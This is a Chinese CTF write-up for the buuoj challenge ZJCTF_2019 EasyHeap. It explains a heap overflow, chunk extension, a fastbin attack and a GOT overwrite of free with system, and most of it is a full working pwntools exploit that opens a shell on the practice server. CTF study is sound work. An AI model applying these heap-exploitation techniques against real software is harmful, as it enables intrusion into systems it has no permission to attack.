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ZJCTF_2019_EasyHeap

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buuoj刷pwn题之ZJCTF_2019_EasyHeap

heap题，没开PIE

有add，delete，edit，没有show

按照题意是要修改全局变量magic，来触发后门

magic

backdoor

其中edit函数，写入数据的长度可控

edit

直接chunk extend控制magic
(https://blog.csdn.net/Breeze_CAT/article/details/103788698)

然而buuoj的环境不符合要求（与原题环境不一样），backdoor没用，改用修改__free_hook成system，的方法来getshell

还要注意fastbin对size的检查，可以利用stdin，stdout，stderr内容最高位都是0x7f，符合0x70~0x7f范围的fastbin

exp如下：

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#coding=utf8
#!/usr/bin/python2

from PwnContext import *
      
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './easyheap'
ctx.remote = ('node3.buuoj.cn', 25679)
ctx.remote_libc = '../../libc/libc-2.23.so'
ctx.debug_remote_libc = True

rs()
#rs('remote')

def add(size, content):
    sla('Your choice :', '1')
    sla('Size of Heap : ', str(size))
    sa('Content of heap:', content)


def edit(index, size, content):
    sla('Your choice :', '2')
    sla('Index :', str(index))
    sla('Size of Heap : ', str(size))
    sla('Content of heap : ', content)


def free(index):
    sla('Your choice :', '3')
    sla('Index :', str(index))


magic_addr = 0x6020C0
heaparray_addr = 0x6020E0


add(0x18, 'a' * 0x18) # 0 
add(0x68, 'a' * 0x68) # 1
add(0x68, 'a' * 0x68) # 2
add(0x10, '/bin/sh\x00' * 0x10) # 3 隔离top chunk

edit(0, 0x19, 'a' * 0x18 + '\xe1') # 1 + 2
free(1)
free(2)

'''
add(0xd8, 'a' * 0x68 + p64(0x71) + p64(magic_addr-24+5)) # 1
add(0x68, 'a') # 2
add(0x68, 'a' * (magic_addr - (magic_addr-24+5)) + p64(0x1305+1)) # 4
# pwn
sla('Your choice :', '4869')
'''

add(0xd8, 'a' * 0x68 + p64(0x71) + p64(magic_addr-24+5)) # 1
add(0x68, 'a') # 2
add(0x68, 'a' * (heaparray_addr - (magic_addr-24+5+0x10)) + p64(ctx.binary.got['free'])) # 4

edit(0, 8, p64(ctx.binary.plt['system']))
free(3)

#dbg()

irt()